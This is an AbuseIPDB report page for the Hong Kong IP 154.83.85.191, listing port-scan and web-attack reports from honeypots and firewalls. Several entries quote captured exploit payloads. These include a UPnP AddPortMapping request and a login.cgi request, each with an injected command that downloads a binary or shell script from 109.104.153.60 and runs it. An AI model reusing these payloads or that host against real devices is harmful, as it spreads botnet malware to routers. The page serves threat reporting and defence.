JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 154.83.85.191

154.83.85.191 was found in our database!

This IP was reported 29 times. Confidence of Abuse is 86%: ?

86%

ISP	Akile LTD
Usage Type	Data Center/Web Hosting/Transit
ASN	AS61112
Domain Name	akile.ai
Country	🇭🇰 Hong Kong
City	Hong Kong

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 154.83.85.191

Whois 154.83.85.191

IP Abuse Reports for 154.83.85.191:

This IP address has been reported a total of 29 times from 16 distinct sources. 154.83.85.191 was first reported on November 21st 2025, and the most recent report was 13 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇦🇹 urnilxfgbez	2026-06-30 22:45:00 (13 hours ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇬🇧 gbzret4d	2026-06-30 13:57:51 (21 hours ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (co ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Accept: / Accept-Encoding: gzip, deflate POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf zuki; wget http://109.104.153.60/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP show less	Hacking Bad Web Bot
🇫🇷 EDSL	2026-06-30 07:33:30 (1 day ago)	[SRV-VPN1] Blocked by SysWarden Firewall (Port Scan / Probing)	Port Scan
🇺🇸 MPL	2026-06-29 19:59:50 (1 day ago)	tcp/80	Port Scan
🇭🇺 bcsaba	2026-06-29 11:30:14 (2 days ago)	Suricata: Alert - ET EXPLOIT D-Link DSL-2750B - OS Command Injection	Web App Attack
🇳🇱 VMHeaven.io	2026-06-28 22:44:32 (2 days ago)	Blocked by UFW [52869/tcp] Source port: 50982 TTL: 49 Packet length: 40	Port Scan
🇩🇪 HoneyPot-FrPri	2026-06-28 20:09:48 (2 days ago)	154.83.85.191 - - [28/Jun/2026:22:09:48 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://109.104. ... show more 154.83.85.191 - - [28/Jun/2026:22:09:48 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://109.104.153.60/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 157 "-" "Hakai/2.0" ... show less	Bad Web Bot Web App Attack
🇭🇺 bcsaba	2026-06-28 09:54:07 (3 days ago)	Suricata: Alert - ET EXPLOIT D-Link DSL-2750B - OS Command Injection	Web App Attack
🇫🇷 EDSL	2026-06-28 05:37:41 (3 days ago)	[SRV-VPN1] Blocked by SysWarden Firewall (Port Scan / Probing)	Port Scan
Anonymous	2026-06-28 03:24:40 (3 days ago)	Unauthorized connection attempt on Port 23	Port Scan Hacking Exploited Host
🇬🇧 gbzret4d	2026-06-27 23:57:49 (3 days ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (co ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Accept: / Accept-Encoding: gzip, deflate POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf zuki; wget http://109.104.153.60/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP show less	Hacking Bad Web Bot
🇷🇸 Smel	2026-06-27 00:52:05 (4 days ago)	HTTP/80/443/8080 Unauthorized Probe, Hack -	Hacking Web App Attack
🇩🇪 centurion	2026-06-26 22:42:42 (4 days ago)	Blocked by UFW on ns02 [52869/tcp] Source port: 50982 TTL: 57 Packet length: 40 TOS: 0x00 This repo ... show more Blocked by UFW on ns02 [52869/tcp] Source port: 50982 TTL: 57 Packet length: 40 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 Admins@FBN	2026-06-26 05:08:50 (5 days ago)	FW-PortScan: Traffic Blocked srcport=49190 dstport=8080	Port Scan
🇬🇧 myintarweb	2026-06-25 15:58:43 (5 days ago)	154.83.85.191 - - [25/Jun/2026:16:58:41 +0100] 80 "GET /login.cgi?cli=aa%20aa%27;wget%20http://109.1 ... show more 154.83.85.191 - - [25/Jun/2026:16:58:41 +0100] 80 "GET /login.cgi?cli=aa%20aa%27;wget%20http://109.104.153.60/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 1467 "-" "Hakai/2.0" ... show less	Hacking Bad Web Bot Web App Attack

Showing 1 to 15 of 29 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇩🇪 167.94.145.31

🇦🇺 209.38.86.212

🇺🇸 195.184.76.129

🇩🇪 87.106.210.86

🇩🇪 69.5.169.80

🇭🇰 45.134.82.54

🇩🇪 8.211.28.246

🇩🇪 2.26.51.29

🇺🇸 216.73.216.245

🇨🇳 202.105.98.252

🇲🇽 187.191.33.34

🇳🇱 185.82.202.141

🇨🇳 182.138.158.69

🇵🇾 181.122.255.126

🇻🇳 160.22.170.38

🇨🇳 139.212.69.213

🇱🇰 112.135.179.70

🇨🇳 101.126.24.71

🇨🇳 101.89.141.184

🇳🇱 91.92.40.10